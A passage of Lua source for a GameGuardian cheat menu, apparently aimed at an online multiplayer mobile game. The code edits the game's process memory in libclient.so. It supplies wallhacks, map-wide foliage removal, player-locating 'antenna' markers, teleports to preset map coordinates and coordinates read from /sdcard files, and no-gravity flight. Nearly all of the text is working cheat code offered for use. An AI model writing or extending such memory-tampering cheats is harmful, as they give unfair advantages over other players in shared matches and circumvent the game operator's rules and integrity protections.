gg.setValues({[1]={address=a[1].address+0x24,flags=16,freeze=false,value=x30[1].value}}) gg.setValues({[1]={address=a[1].address+0x28,flags=16,freeze=false,value=y30[1].value}}) gg.setValues({[1]={address=a[1].address+0x2c,flags=16,freeze=false,value=z30[1].value}}) gg.setValues({[1]={address=a[1].address+0xD4,flags=16,freeze=false,value=x30[1].value}}) gg.setValues({[1]={address=a[1].address+0xD8,flags=16,freeze=false,value=y30[1].value}}) gg.setValues({[1]={address=a[1].address+0xDC,flags=16,freeze=false,value=z30[1].value}}) --传送提示 提示("传送成功") end end):start() end, function() fw1=false fw1=false 提示("已停止所有循环传送") end ), }), },{ changan.box({"全图除叶", changan.switch("全图除叶", function() drw() xtnb({{false,1067450368,0,4,nil,nil},{160,-80,4},{132,-76,4},{12,-72,4},{0,-68,4},{176,-64,4},{144,-60,4},{12,-56,4},{0,-52,4},{192,-48,4},{156,-44,4},{12,-40,4},{0,-36,4},{268,-32,4},{508,-28,4},{4,-24,4},{1,-20,4},{0,-16,4},{0,-12,4},{32,-8,4},{-1,-4,4},{460,4,4}},{{501,-80,4,false},{502,-76,4,false},{503,-64,4,false},{504,-60,4,false},{505,-48,4,false},{506,-44,4,false},{507,-32,4,false},{508,-28,4,false},{509,4,4,false}},4,4,"全图除草") end, function() drw() xtnb({{false,1067450368,0,4,nil,nil},{501,-80,4},{502,-76,4},{12,-72,4},{0,-68,4},{503,-64,4},{504,-60,4},{12,-56,4},{0,-52,4},{505,-48,4},{506,-44,4},{12,-40,4},{0,-36,4},{507,-32,4},{508,-28,4},{4,-24,4},{1,-20,4},{0,-16,4},{0,-12,4},{32,-8,4},{-1,-4,4},{509,4,4}},{{160,-80,4,false},{132,-76,4,false},{176,-64,4,false},{144,-60,4,false},{192,-48,4,false},{156,-44,4,false},{268,-32,4,false},{508,-28,4,false},{460,4,4,false}},4,4,"全图除草关") end), }), changan.box({"龙吸水", changan.switch("龙吸水", function() drw() xtnb({{false,252,0,4,nil,nil},{160,4,4},{12,8,4},{0,12,4}},{{501,0,4,false},{502,4,4,false}},4,4,"龙吸水") end, function() drw() xtnb({{false,501,0,4,nil,nil},{502,4,4},{12,8,4},{0,12,4}},{{500,0,4,false},{160,4,4,false}},252,4,"龙吸水") end), }), changan.box({ "染色区", changan.switch("红", function() drw() local t = {"libclient.so:bss", "Cb"} local tt = {0x42B214, 0x10, 0x4} local ttt = S_Pointer(t, tt) gg.setValues({{address = ttt, flags = 16, value = 66}}) end, function() drw() local t = {"libclient.so:bss", "Cb"} local tt = {0x42B214, 0x10, 0x4} local ttt = S_Pointer(t, tt) gg.setValues({{address = ttt, flags = 16, value = 1}}) end), changan.button( "自定义红", function() drw() zdyzb=gg.prompt({"请输入"},{""},{"text"}) if zdyzb==nil then elseif zdyzb[1]=="" then else gg.sleep(300) local t = {"libclient.so:bss", "Cb"} local tt = {0x42B214, 0x10, 0x4} local ttt = S_Pointer(t, tt) gg.setValues({{address = ttt, flags = 16, value = zdyzb[1]}}) end end), changan.switch("蓝", function() drw() local t = {"libclient.so:bss", "Cb"} local tt = {0x42B214, 0x10, 0xC} local ttt = S_Pointer(t, tt) gg.setValues({{address = ttt, flags = 16, value = 66}}) end, function() drw() local t = {"libclient.so:bss", "Cb"} local tt = {0x42B214, 0x10, 0xC} local ttt = S_Pointer(t, tt) gg.setValues({{address = ttt, flags = 16, value = 0.86669999361}}) end), changan.button( "自定义蓝", function() drw() zdyzb=gg.prompt({"请输入"},{""},{"text"}) if zdyzb==nil then elseif zdyzb[1]=="" then else gg.sleep(300) local t = {"libclient.so:bss", "Cb"} local tt = {0x42B214, 0x10, 0xC} local ttt = S_Pointer(t, tt) gg.setValues({{address = ttt, flags = 16, value = zdyzb[1]}}) end end), changan.switch("绿", function() drw() local t = {"libclient.so:bss", "Cb"} local tt = {0x42B214, 0x10, 0x8} local ttt = S_Pointer(t, tt) gg.setValues({{address = ttt, flags = 16, value = 66}}) end, function() drw() local t = {"libclient.so:bss", "Cb"} local tt = {0x42B214, 0x10, 0x8} local ttt = S_Pointer(t, tt) gg.setValues({{address = ttt, flags = 16, value = 0.79610002041}}) end), changan.button( "自定义绿", function() drw() zdyzb=gg.prompt({"请输入"},{""},{"text"}) if zdyzb==nil then elseif zdyzb[1]=="" then else gg.sleep(300) local t = {"libclient.so:bss", "Cb"} local tt = {0x42B214, 0x10, 0x8} local ttt = S_Pointer(t, tt) gg.setValues({{address = ttt, flags = 16, value = zdyzb[1]}}) end end), changan.switch("1", function() drw() local t = {"libclient.so:bss", "Cb"} local tt = {0x42B214, 0x10, 0x30} local ttt = S_Pointer(t, tt) gg.setValues({{address = ttt, flags = 16, value = 66}}) end, function() drw() local t = {"libclient.so:bss", "Cb"} local tt = {0x42B214, 0x10, 0x30} local ttt = S_Pointer(t, tt) gg.setValues({{address = ttt, flags = 16, value = 0.55351394415}}) end), changan.button( "自定义1", function() drw() zdyzb=gg.prompt({"请输入"},{""},{"text"}) if zdyzb==nil then elseif zdyzb[1]=="" then else gg.sleep(300) local t = {"libclient.so:bss", "Cb"} local tt = {0x42B214, 0x10, 0x30} local ttt = S_Pointer(t, tt) gg.setValues({{address = ttt, flags = 16, value = zdyzb[1]}}) end end), changan.switch("2", function() drw() local t = {"libclient.so:bss", "Cb"} local tt = {0x42B214, 0x10, 0x34} local ttt = S_Pointer(t, tt) gg.setValues({{address = ttt, flags = 16, value = 66}}) end, function() drw() local t = {"libclient.so:bss", "Cb"} local tt = {0x42B214, 0x10, 0x34} local ttt = S_Pointer(t, tt) gg.setValues({{address = ttt, flags = 16, value = -0.52291315794}}) end), changan.button( "自定义2", function() drw() zdyzb=gg.prompt({"请输入"},{""},{"text"}) if zdyzb==nil then elseif zdyzb[1]=="" then else gg.sleep(300) local t = {"libclient.so:bss", "Cb"} local tt = {0x42B214, 0x10, 0x34} local ttt = S_Pointer(t, tt) gg.setValues({{address = ttt, flags = 16, value = zdyzb[1]}}) end end), changan.switch("3", function() drw() local t = {"libclient.so:bss", "Cb"} local tt = {0x42B214, 0x10, 0x38} local ttt = S_Pointer(t, tt) gg.setValues({{address = ttt, flags = 16, value = 66}}) end, function() drw() local t = {"libclient.so:bss", "Cb"} local tt = {0x42B214, 0x10, 0x38} local ttt = S_Pointer(t, tt) gg.setValues({{address = ttt, flags = 16, value = 0.64821630716}}) end), changan.button( "自定义3", function() drw() zdyzb=gg.prompt({"请输入"},{""},{"text"}) if zdyzb==nil then elseif zdyzb[1]=="" then else gg.sleep(300) local t = {"libclient.so:bss", "Cb"} local tt = {0x42B214, 0x10, 0x38} local ttt = S_Pointer(t, tt) gg.setValues({{address = ttt, flags = 16, value = zdyzb[1]}}) end end), changan.switch("白", function() drw() local t = {"libclient.so:bss", "Cb"} local tt = {0x42B214, 0x10, 0x80} local ttt = S_Pointer(t, tt) gg.setValues({{address = ttt, flags = 16, value = 66}}) end, function() drw() local t = {"libclient.so:bss", "Cb"} local tt = {0x42B214, 0x10, 0x80} local ttt = S_Pointer(t, tt) gg.setValues({{address = ttt, flags = 16, value = 3.81599998474}}) end), changan.button( "自定义白", function() drw() zdyzb=gg.prompt({"请输入"},{""},{"text"}) if zdyzb==nil then elseif zdyzb[1]=="" then else gg.sleep(300) local t = {"libclient.so:bss", "Cb"} local tt = {0x42B214, 0x10, 0x80} local ttt = S_Pointer(t, tt) gg.setValues({{address = ttt, flags = 16, value = zdyzb[1]}}) end end), }), changan.box({ "全局染色", changan.switch("红色", function() drw() local t = {"libclient.so:bss", "Cb"} local tt = {0x423984, 0x90} local ttt = S_Pointer(t, tt) gg.addListItems({{address = ttt, flags = 16, value = 9999, freeze = true}}) end, function() drw() local t = {"libclient.so:bss", "Cb"} local tt = {0x423984, 0x90} local ttt = S_Pointer(t, tt) gg.addListItems({{address = ttt, flags = 16, value = 0.70980393887, freeze = true}}) end), changan.button( "自定义红色", function() drw() zdyzb=gg.prompt({"请输入"},{""},{"text"}) if zdyzb==nil then elseif zdyzb[1]=="" then else gg.sleep(300) local t = {"libclient.so:bss", "Cb"} local tt = {0x423984, 0x90} local ttt = S_Pointer(t, tt) gg.addListItems({{address = ttt, flags = 16, value = zdyzb[1], freeze = true}}) end end), changan.switch("绿色", function() drw() local t = {"libclient.so:bss", "Cb"} local tt = {0x423984, 0x94} local ttt = S_Pointer(t, tt) gg.addListItems({{address = ttt, flags = 16, value = 9999, freeze = true}}) end, function() drw() local t = {"libclient.so:bss", "Cb"} local tt = {0x423984, 0x94} local ttt = S_Pointer(t, tt) gg.addListItems({{address = ttt, flags = 16, value = 0.8117647171, freeze = true}}) end), changan.button( "自定义绿色", function() drw() zdyzb=gg.prompt({"请输入"},{""},{"text"}) if zdyzb==nil then elseif zdyzb[1]=="" then else gg.sleep(300) local t = {"libclient.so:bss", "Cb"} local tt = {0x423984, 0x94} local ttt = S_Pointer(t, tt) gg.addListItems({{address = ttt, flags = 16, value = zdyzb[1], freeze = true}}) end end), changan.switch("紫色", function() drw() local t = {"libclient.so:bss", "Cb"} local tt = {0x423984, 0x98} local ttt = S_Pointer(t, tt) gg.addListItems({{address = ttt, flags = 16, value = 9999, freeze = true}}) end, function() drw() local t = {"libclient.so:bss", "Cb"} local tt = {0x423984, 0x98} local ttt = S_Pointer(t, tt) gg.addListItems({{address = ttt, flags = 16, value = 0.97647058964, freeze = true}}) end), changan.button( "自定义紫色", function() drw() zdyzb=gg.prompt({"请输入"},{""},{"text"}) if zdyzb==nil then elseif zdyzb[1]=="" then else gg.sleep(300) local t = {"libclient.so:bss", "Cb"} local tt = {0x423984, 0x98} local ttt = S_Pointer(t, tt) gg.addListItems({{address = ttt, flags = 16, value = zdyzb[1], freeze = true}}) end end), changan.switch("全局上色", function() drw() local t = {"libclient.so:bss", "Cb"} local tt = {0x423984, 0x1DC} local ttt = S_Pointer(t, tt) gg.setValues({{address = ttt, flags = 16, value = 99}}) end, function() drw() local t = {"libclient.so:bss", "Cb"} local tt = {0x423984, 0x1DC} local ttt = S_Pointer(t, tt) gg.setValues({{address = ttt, flags = 16, value = 0.48}}) end), changan.button("自定义全局上色", function() drw() zdyzb=gg.prompt({"请输入"},{""},{"text"}) if zdyzb==nil then elseif zdyzb[1]=="" then else gg.sleep(300) local t = {"libclient.so:bss", "Cb"} local tt = {0x423984, 0x1DC} local ttt = S_Pointer(t, tt) gg.setValues({{address = ttt, flags = 16, value = zdyzb[1]}}) end end), }), changan.box({ "地形建筑颜色", changan.switch("绿红", function() drw() xtnb({{false,212,0,4,nil,nil},{64,4,4}},{{9991,0,4,false}},4,4,"全图染色") end, function() drw() xtnb({{false,9991,0,4,nil,nil},{64,4,4}},{{212,0,4,false}},4,4,"全图染色") end), changan.switch("影子真显", function() drw() xtnb({{false,212,0,4,nil,nil},{64,4,4}},{{-103,0,4,false}},4,4,"全图染色") end, function() drw() xtnb({{false,-103,0,4,nil,nil},{64,4,4}},{{212,0,4,false}},4,4,"全图染色") end), changan.switch("黑白红", function() drw() xtnb({{false,436,0,4,nil,nil},{80,4,4}},{{9992,0,4,false}},4,4,"红河什么?") end, function() drw() xtnb({{false,9992,0,4,nil,nil},{80,4,4}},{{436,0,4,false}},4,4,"红河什么?") end), changan.switch("黄蓝", function() drw() xtnb({{false,84,0,4,nil,nil},{64,4,4}},{{9993,0,4,false}},4,4,"黄蓝") end, function() drw() xtnb({{false,9993,0,4,nil,nil},{64,4,4}},{{84,0,4,false}},4,4,"黄蓝") end), changan.switch("紫绿", function() drw() xtnb({{false,148,0,4,nil,nil},{64,4,4}},{{9994,0,4,false}},4,4,"全图染色紫色") end, function() drw() xtnb({{false,9994,0,4,nil,nil},{64,4,4}},{{148,0,4,false}},4,4,"全图染色紫色") end), changan.switch("远渲染黑影", function() drw() xtnb({{false,64,0,4,nil,nil},{20,-4,4}},{{9995,-4,4,false}},4,4,"影") end, function() drw() xtnb({{false,64,0,4,nil,nil},{9995,-4,4}},{{20,-4,4,false}},4,4,"影") end), }), changan.box({"人物天线", changan.button("车体天线", function() drw() xtnb({{false,7.576202869415283,0,16,nil,nil},{14.35890007019043,-64,16},{7.534902095794678,-36,16},{11.987494468688965,-32,16},{14.4124755859375,-28,16},{13.137746810913086,4,16},{12.815799713134766,8,16},{0.09861329197883606,12,16},{9.96593189239502,-48,16},{9.975772857666016,-12,16}},{{99,-64,16,false},{99,0,16,false},{99,4,16,false},{99,8,16,false},{99,12,16,false},{99,-48,16,false},{99,-36,16,false},{99,-32,16,false},{99,-28,16,false},{99,-12,16,false}},16,4,"天线之类") end), changan.button("关闭车体天线", function() drw() alertm3("重启画质不行的话就退出游戏再开一把") end), changan.button("萌新天线", function() drw() gg.clearResults() gg.setRanges(4) gg.searchNumber("0.65025615692", gg.TYPE_FLOAT, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(1000) gg.editAll("99.1145614", gg.TYPE_FLOAT) gg.diyToast("已开启") end), changan.button("关闭萌新天线", function() drw() gg.clearResults() gg.setRanges(4) gg.searchNumber("99.1145614", gg.TYPE_FLOAT, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(1000) gg.editAll("0.65025615692", gg.TYPE_FLOAT) gg.diyToast("已关闭") end), changan.button("萌新杂乱天线", function() drw() xtnb({{false,0.6502561569213867,0,16,nil,nil},{0.5404650568962097,-84,16},{-4.84731912612915,-80,16},{1.0,-76,16},{-0.39125192165374756,-72,16},{0.7409991025924683,-68,16},{-0.5457478165626526,-64,16},{-0.8159021735191345,-56,16},{-0.004976898431777954,-52,16},{0.5781693458557129,-48,16},{0.0,-44,16},{-0.4257076382637024,-40,16},{-0.6714862585067749,-36,16},{-0.6065297722816467,-32,16},{0.0,-28,16},{-8.328954696655273,-24,16},{0.3676687777042389,-20,16},{-4.912697792053223,-16,16},{1.0,-12,16},{0.29267317056655884,-8,16},{-0.7010763883590698,-4,16},{0.0,4,16},{-0.9028358459472656,8,16}},{{99,-84,16,false},{99,-80,16,false},{99,-72,16,false},{99,-68,16,false},{99,-64,16,false},{99,-56,16,false},{99,-52,16,false},{99,-48,16,false},{99,-40,16,false},{99,-36,16,false},{99,-32,16,false},{99,-24,16,false},{99,-20,16,false},{99,-16,16,false},{99,-8,16,false},{99,-4,16,false},{99,0,16,false},{99,8,16,false}},16,4,"核心之类") end), changan.button("关闭萌新杂乱天线", function() drw() alertm3("重启画质不行的话就退出游戏再开一把") end), changan.button("海王盾天线", function() drw() gg.clearResults() gg.setRanges(4) gg.searchNumber("-0.71398258209", gg.TYPE_FLOAT, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(1000) gg.editAll("99.114514543154664", gg.TYPE_FLOAT) gg.diyToast("开成功") end), changan.button("关闭海王盾天线", function() drw() gg.clearResults() gg.setRanges(gg.REGION_C_ALLOC) gg.searchNumber("99.114514543154664", gg.TYPE_FLOAT, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(1000) gg.editAll("-0.71398258209", gg.TYPE_FLOAT)---这个是关闭 end), changan.button("机枪横向天线", function() drw() gg.clearResults() gg.setRanges(4) gg.searchNumber("1.3~1.31", gg.TYPE_FLOAT, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(1000) gg.editAll("99.147614", gg.TYPE_FLOAT) gg.diyToast("已开启") end), changan.button("关闭机枪横向天线", function() drw() gg.clearResults() gg.setRanges(4) gg.searchNumber("99.147614", gg.TYPE_FLOAT, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(1000) gg.editAll("1.3~1.31", gg.TYPE_FLOAT) gg.diyToast("已关闭") end), changan.button("隐身天线", function() drw() gg.clearResults() gg.setRanges(gg.REGION_C_ALLOC) gg.searchNumber("12.89999961853", gg.TYPE_FLOAT, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(1000) gg.editAll("999999", gg.TYPE_FLOAT) end), changan.button("关闭隐身天线", function() drw() gg.clearResults() gg.setRanges(gg.REGION_C_ALLOC) gg.searchNumber("999999", gg.TYPE_FLOAT, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(1000) gg.editAll("12.89999961853", gg.TYPE_FLOAT) end), changan.button("天罚天线", function() drw() gg.clearResults() gg.setRanges(gg.REGION_C_ALLOC) gg.searchNumber("2.07551332e-38", gg.TYPE_FLOAT, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(1000) gg.editAll("999999", gg.TYPE_FLOAT) end), changan.button("关闭天罚天线", function() drw() gg.clearResults() gg.setRanges(gg.REGION_C_ALLOC) gg.searchNumber("999999", gg.TYPE_FLOAT, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(1000) gg.editAll("2.07551332e-38", gg.TYPE_FLOAT) end), changan.button("磁暴天线", function() drw() gg.clearResults() gg.setRanges(gg.REGION_C_ALLOC) gg.searchNumber("1.0002", gg.TYPE_FLOAT, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(1000) gg.editAll("999999", gg.TYPE_FLOAT) end), changan.button("关闭磁暴天线", function() drw() gg.clearResults() gg.setRanges(gg.REGION_C_ALLOC) gg.searchNumber("999999", gg.TYPE_FLOAT, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(1000) gg.editAll("1.0002", gg.TYPE_FLOAT) end), changan.button("全息投影天线", function() drw() gg.clearResults() gg.setRanges(gg.REGION_C_ALLOC) gg.searchNumber("0.93", gg.TYPE_FLOAT, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(1000) gg.editAll("99.1233456667976464644", gg.TYPE_FLOAT) end), changan.button("关闭全息投影天线", function() drw() gg.clearResults() gg.setRanges(gg.REGION_C_ALLOC) gg.searchNumber("99.1233456667976464644", gg.TYPE_FLOAT, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(1000) gg.editAll("0.93", gg.TYPE_FLOAT)---这个是关闭 end), changan.button("全息投影天线[横向]", function() drw() gg.clearResults() gg.setRanges(gg.REGION_C_ALLOC) gg.searchNumber("0.97", gg.TYPE_FLOAT, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(1000) gg.editAll("99.1233456667976464644", gg.TYPE_FLOAT) end), changan.button("关闭全息投影天线[横向]", function() drw() gg.clearResults() gg.setRanges(gg.REGION_C_ALLOC) gg.searchNumber("99.1233456667976464644", gg.TYPE_FLOAT, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(1000) gg.editAll("0.97", gg.TYPE_FLOAT)---这个是关闭 end), }), changan.box({ "透视", changan.button( "地面透视", function() toushi='31,165,001,600' gg.clearResults() gg.setRanges(4) gg.searchNumber('31,138,512,896',gg.TYPE_QWORD,false,gg.SIGN_EQUAL,0, -1) gg.searchNumber('', gg.TYPE_QWORD,false,gg.SIGN_EQUAL,0, -1) gg.getResults(100) gg.editAll('31,165,001,600',gg.TYPE_QWORD) end), changan.button("地面透视por", function() toushi='31,215,001,600' gg.clearResults() gg.setRanges(4) gg.searchNumber('31,138,512,896',gg.TYPE_QWORD,false,gg.SIGN_EQUAL,0, -1) gg.searchNumber('', gg.TYPE_QWORD,false,gg.SIGN_EQUAL,0, -1) gg.getResults(100) gg.editAll('31,215,001,600',gg.TYPE_QWORD) end), changan.button("全透视", function() toushi='31,215,001,900' gg.clearResults() gg.setRanges(4) gg.searchNumber('31,138,512,896',gg.TYPE_QWORD,false,gg.SIGN_EQUAL,0, -1) gg.searchNumber('', gg.TYPE_QWORD,false,gg.SIGN_EQUAL,0, -1) gg.getResults(100) gg.editAll('31,215,001,900',gg.TYPE_QWORD) end), changan.button("透视加特效", function() toushi='31,200,030,000' gg.clearResults() gg.setRanges(4) gg.searchNumber('31,138,512,896',gg.TYPE_QWORD,false,gg.SIGN_EQUAL,0, -1) gg.searchNumber('', gg.TYPE_QWORD,false,gg.SIGN_EQUAL,0, -1) gg.getResults(100) gg.editAll('31,200,030,000',gg.TYPE_QWORD) end), changan.button( "隐身显出", function() toushi='31,215,001,900' gg.clearResults() gg.setRanges(4) gg.searchNumber('31,138,512,896',gg.TYPE_QWORD,false,gg.SIGN_EQUAL,0, -1) gg.searchNumber('', gg.TYPE_QWORD,false,gg.SIGN_EQUAL,0, -1) gg.getResults(100) gg.editAll('31,215,001,900',gg.TYPE_QWORD) toushi='31,215,001,600' gg.clearResults() gg.setRanges(4) gg.searchNumber('31,138,512,896',gg.TYPE_QWORD,false,gg.SIGN_EQUAL,0, -1) gg.searchNumber('', gg.TYPE_QWORD,false,gg.SIGN_EQUAL,0, -1) gg.getResults(100) gg.editAll('31,215,001,600',gg.TYPE_QWORD) gg.clearResults() gg.setRanges(4) gg.searchNumber(toushi,gg.TYPE_QWORD,false,gg.SIGN_EQUAL,0, -1) gg.getResults(100) gg.editAll('31,138,512,896',gg.TYPE_QWORD) search(-2.3880816325146387E-38,16,4) py1(-2.3880816325146387E-38,16,0) py1(4.096384754264585E-34,16,4) py1(5.739718509874451E-42,16,8) xg1(2,16,-48,false) end),changan.button( "恢复透视", function() gg.clearResults() gg.setRanges(4) gg.searchNumber(toushi,gg.TYPE_QWORD,false,gg.SIGN_EQUAL,0, -1) gg.getResults(100) gg.editAll('31,138,512,896',gg.TYPE_QWORD) end), }), changan.box({"内透", changan.radio({ { "内透内部", function() drw() gg.setValues({ { address = S_Pointer({ "libclient.so:bss", "Cb" }, { 4362472, 8, 0, 16, 0 }), flags = 32, value = 200 } }) end },{ "普通内透", function() drw() gg.setValues({ { address = S_Pointer({ "libclient.so:bss", "Cb" }, { 4362472, 8, 0, 16, 0 }), flags = 32, value = 9999 } }) end },{ "全图内透树", function() drw() gg.clearResults() gg.setRanges(4) gg.searchNumber("274,877,907,508", gg.TYPE_QWORD, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(1020) gg.editAll("274,877,907,509", gg.TYPE_QWORD) end },{ "绿色幻觉世界", function() drw() gg.setValues({ { address = S_Pointer({ "libclient.so:bss", "Cb" }, { 4362472, 8, 0, 16, 0 }), flags = 32, value = 9009 } }) end },{ "量子内透绿色", function() drw() gg.setValues({ { address = S_Pointer({ "libclient.so:bss", "Cb" }, { 4362472, 8, 0, 16, 0 }), flags = 32, value = 90095 } }) end },{ "青黄色模块内透", function() drw() gg.setValues({ { address = S_Pointer({ "libclient.so:bss", "Cb" }, { 4362472, 8, 0, 16, 0 }), flags = 32, value = 80095 } }) end },{ "恢复", function() drw() gg.clearResults() gg.setRanges(4) gg.searchNumber("274,877,907,509", gg.TYPE_QWORD, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(1020) gg.editAll("274,877,907,508", gg.TYPE_QWORD) gg.setValues({ { address = S_Pointer({ "libclient.so:bss", "Cb" }, { 4362472, 8, 0, 16, 0 }), flags = 32, value = 31138512896 } }) end }, }), }), },{ changan.button( "初始化[不初始用不了]", function() gg.clearResults() gg.clearResults(4) gg.searchNumber("16777215;257;17039364::",gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1) gg.searchNumber("17039364", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1) zszb=gg.getResults(1)--初始化个人坐标 gg.toast("go") end, function() gg.clearResults() gg.clearResults(4) gg.searchNumber("16777215;257;17039364::",gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1) gg.searchNumber("17039364", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1) zszb=gg.getResults(1)--初始化个人坐标 gg.toast("go") end ), changan.switch( "循环传送", function() search(17039364,4,-2080896) py1(16777215,4,-40) py1(257,4,-36) while true do -- 尝试执行 xg1 函数,捕获错误 local success, err = pcall(function() xg1(io.open("/sdcard/坐标控制Y坐标.txt", "r"):read("*a"), 16, -8, false) end) if not success then print("发生错误:", err) end local success, err = pcall(function() xg1(io.open("/sdcard/坐标控制X坐标.txt", "r"):read("*a"), 16, -4, false) end) if not success then print("发生错误:", err) end local success, err = pcall(function() xg1(io.open("/sdcard/坐标控制Z坐标.txt", "r"):read("*a"), 16, -12, false) end) if not success then print("发生错误:", err) end gg.sleep(10) end end, function() drw() sleep(120) hzrs =false end ), changan.switch( "无重力升天", function() search(29900080,4,-2080896) py1(6647137,4,24) xg1(0,16,268,true) search(992204554, 4, 4) py1(992204554, 4, 0) py1(1956496814, 4, 8) xg1(1, 16, -52, false) end, function() search(992204554, 4, 4) py1(992204554, 4, 0) py1(1956496814, 4, 8) xg1(1, 16, -52, false) end ), changan.box({ "超级风暴", changan.switch( "大业殿", function() fw1=false xg1(730,16,-8,true)--y xg1(500,16,-4,true) xg1(-3517,16,-12,true) gg.sleep(500) xg1(730,16,-8,false)--y xg1(500,16,-4,false) xg1(-3517,16,-12,false) end, function() end ), changan.switch( "可汗石头", function() fw1=false xg1(0,16,-8,true) xg1(-14571,16,-4,true) xg1(-4057,16,-12,true) gg.sleep(500) xg1(0,16,-8,false) xg1(-14571,16,-4,false) xg1(-4057,16,-12,false) end, function() end ), changan.switch( "玉皇宫", function() fw1=false xg1(17720,16,-8,true) xg1(1700,16,-4,true) xg1(9320,16,-12,true) gg.sleep(500) xg1(1380,16,-8,false)--y xg1(-11745,16,-4,false) xg1(9276,16,-12,false) end, function() end ), changan.switch( "菩提枫", function() fw1=false xg1(-200,16,-8,true) xg1(-2028,16,-4,true) xg1(9627,16,-12,true) gg.sleep(500) xg1(-200,16,-8,false) xg1(-2028,16,-4,false) xg1(9627,16,-12,false) end, function() end ), changan.switch( "北岸高架", function() fw1=false xg1(1600,16,-8,true)--y xg1(9825,16,-4,true) xg1(11275,16,-12,true) gg.sleep(500) xg1(1600,16,-8,false)--y xg1(9825,16,-4,false) xg1(11275,16,-12,false) end, function() end ), changan.switch( "长滩房子", function() fw1=false xg1(-429,16,-8,true) xg1(-11405.460,16,-4,true) xg1(-1871.13,16,-12,true) gg.sleep(500) xg1(-429,16,-8,false) xg1(-11405.460,16,-4,false) xg1(-1871.13,16,-12,false) end, function() end ), changan.switch( "太平门房子", function() fw1=false xg1(410,16,-8,true)--y xg1(-5424,16,-4,true) xg1(-13166,16,-12,true) gg.sleep(500) xg1(410,16,-8,false)--y xg1(-5424,16,-4,false) xg1(-13166,16,-12,false) end, function() end ), changan.switch( "大草原", function() fw1=false xg1(3600,16,-8,true)--y xg1(7046.460,16,-4,true) xg1(-10906,16,-12,true) gg.sleep(500) xg1(3600,16,-8,false)--y xg1(7046.460,16,-4,false) xg1(-10906,16,-12,false) end, function() end ), changan.switch( "菩提枫房子", function() fw1=false xg1(-420,16,-8,true)--y xg1(806.46063,16,-4,true) xg1(10701,16,-12,true) gg.sleep(500) xg1(-420,16,-8,false)--y xg1(806.46063,16,-4,false) xg1(10701,16,-12,false) end, function() end ), changan.switch( "荷塘房子", function() fw1=false xg1(500,16,-8,true)--y xg1(-25.4606,16,-4,true) xg1(-11460,16,-12,true) gg.sleep(500) xg1(500,16,-8,false)--y xg1(-25.4606,16,-4,false) xg1(-11460,16,-12,false) end, function() end ), changan.switch( "天鹤山房子", function() fw1=false xg1(1400,16,-8,true)--y xg1(5651.46,16,-4,true) xg1(204,16,-12,true) gg.sleep(500) xg1(1400,16,-8,false)--y xg1(5651.46,16,-4,false) xg1(204,16,-12,false) end, function() end ), changan.switch( "北岸木头", function() fw1=false xg1(-228,16,-8,true)--y xg1(11391.460,16,-4,true) xg1(9863,16,-12,true) gg.sleep(500) xg1(-228,16,-8,false)--y xg1(11391.460,16,-4,false) xg1(9863,16,-12,false) end, function() end ), changan.switch( "美食街车", function() fw1=false xg1(-500,16,-8,true) xg1(-9261.46063232531875,16,-4,true) xg1(5181.13671875,16,-12,true) gg.sleep(500) xg1(-500,16,-8,false) xg1(-9261.46063232531875,16,-4,false) xg1(5181.13671875,16,-12,false) end, function() end ), changan.switch( "可汗中心", function() fw1=false xg1(455,16,-8,true)--y xg1(-11707.46,16,-4,true) xg1(-10474,16,-12,true) gg.sleep(500) xg1(455,16,-8,false)--y xg1(-11707.46,16,-4,false) xg1(-10474,16,-12,false) end, function() end ), changan.switch( "地龟山石头", function() fw1=false xg1(516.3,16,-8,true)--y xg1(-4983.4606,16,-4,true) xg1(-6715,16,-12,true) gg.sleep(500) xg1(516.3,16,-8,false)--y xg1(-4983.4606,16,-4,false) xg1(-6715,16,-12,false) end, function() end ), }), changan.box({ "单人风暴", changan.switch( "零号仓库", function() fw1=false xg1(50,16,-8,true) xg1(6712,16,-4,true) xg1(-5863,16,-12,true) gg.sleep(500) py1(16777215,4,-36) py1(257,4,-32) py1(17039364,4,0) xg1(50,16,-8,false) xg1(6712,16,-4,false) xg1(-5863,16,-12,false) end, function() end ), changan.switch( "守望台", function() fw1=false xg1(1594,16,-8,true) xg1(-5739,16,-4,true) xg1(2004,16,-12,true) gg.sleep(500) xg1(1594,16,-8,false) xg1(-5739,16,-4,false) xg1(2004,16,-12,false) end, function() end ), changan.switch( "灰色工厂", function() fw1=false xg1(999,16,-8,true) xg1(-5324,16,-4,true) xg1(-1950,16,-12,true) gg.sleep(500) xg1(999,16,-8,false) xg1(-5324,16,-4,false) xg1(-1950,16,-12,false) end, function() end ), changan.switch( "中心枢纽", function() fw1=false xg1(3031,16,-8,true) xg1(791,16,-4,true) xg1(-297,16,-12,true) gg.sleep(500) py1(16777215,4,-36) py1(257,4,-32) py1(17039364,4,0) xg1(3031,16,-8,false) xg1(791,16,-4,false) xg1(-297,16,-12,false) end, function() end ), changan.switch( "小试验场", function() fw1=false xg1(575,16,-8,true)--y xg1(-4525.46063,16,-4,true) xg1(-2259,16,-12,true) gg.sleep(500) xg1(575,16,-8,false)--y xg1(-4525.46063,16,-4,false) xg1(-2259,16,-12,false) end, function() end ), }), changan.box({ "单人站点", changan.switch( "远征进点", function() fw1=false xg1(300,16,-8,true)--y xg1(-51.941,16,-4,true) xg1(-2015,16,-12,true) gg.sleep(500) xg1(300,16,-8,false)--y xg1(-51.941,16,-4,false) xg1(-2015,16,-12,false) end, function() end ), changan.switch( "远征高台1", function() fw1=false 